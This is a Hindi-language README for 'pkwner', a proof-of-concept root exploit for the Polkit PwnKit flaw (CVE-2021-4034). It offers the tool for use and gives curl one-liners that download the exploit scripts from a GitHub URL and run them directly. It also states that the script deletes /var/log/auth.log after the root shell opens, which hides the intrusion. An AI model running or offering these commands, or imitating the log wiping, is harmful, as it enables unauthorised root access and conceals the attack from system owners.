██████╗ ██╗  ██╗██╗    ██╗███╗   ██╗███████╗██████╗ 
██╔══██╗██║ ██╔╝██║    ██║████╗  ██║██╔════╝██╔══██╗
██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗  ██████╔╝
██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝  ██╔══██╗
██║     ██║  ██╗╚███╔███╔╝██║ ╚████║███████╗██║  ██║
╚═╝     ╚═╝  ╚═╝ ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝
Kim Schulz द्वारा CVE-2021-4034 के लिए एक Python3 और BASH PoC

परिचय

यह नए पाए गए Polkit त्रुटि PwnKit के लिए एक सरल PoC है।

मैंने इसे bash और python3 स्क्रिप्ट दोनों के रूप में बनाया है - सिर्फ मनोरंजन के लिए।

यह समस्या दुरुपयोग करने में बहुत सरल है लेकिन इसके बहुत बड़े परिणाम हैं क्योंकि यह अधिकांश Linux मशीनों पर आसानी से root पहुंच देगी जहाँ हमलावर के पास स्थानीय उपयोगकर्ता पहुंच है।

कैसे चलाएं

ये स्क्रिप्ट एक-शॉट निष्पादन हैं इसलिए बस करें

python3 pkwner.py

या

bash pkwner.sh

आप इसे सीधे वेबसर्वर (जैसे यह github रिपॉजिटरी) से भी चला सकते हैं:

python3 <(curl https://raw.githubusercontent.com/kimusan/pkwner/main/pkwner.py)

या

source <(curl -s https://raw.githubusercontent.com/kimusan/pkwner/main/pkwner.sh))

दोनों मामलों में यह कुछ इस तरह दिखना चाहिए: और

स्क्रिप्ट कुछ फाइलें और फ़ोल्डर बनाएगी लेकिन root शेल पॉप होने के बाद खुद को साफ कर लेगी - यह /var/log/auth.log को भी साफ कर देगी (क्योंकि क्यों नहीं)।

श्रेय

• Qualys समस्या खोजने और जानकारी सार्वजनिक करने के लिए
• Andris Raugulis प्रेरणा लेने के लिए पहले PoCs में से एक बनाने के लिए
• MiscGang क्योंकि misgang@Kalmarunionen बहुत बढ़िया हैं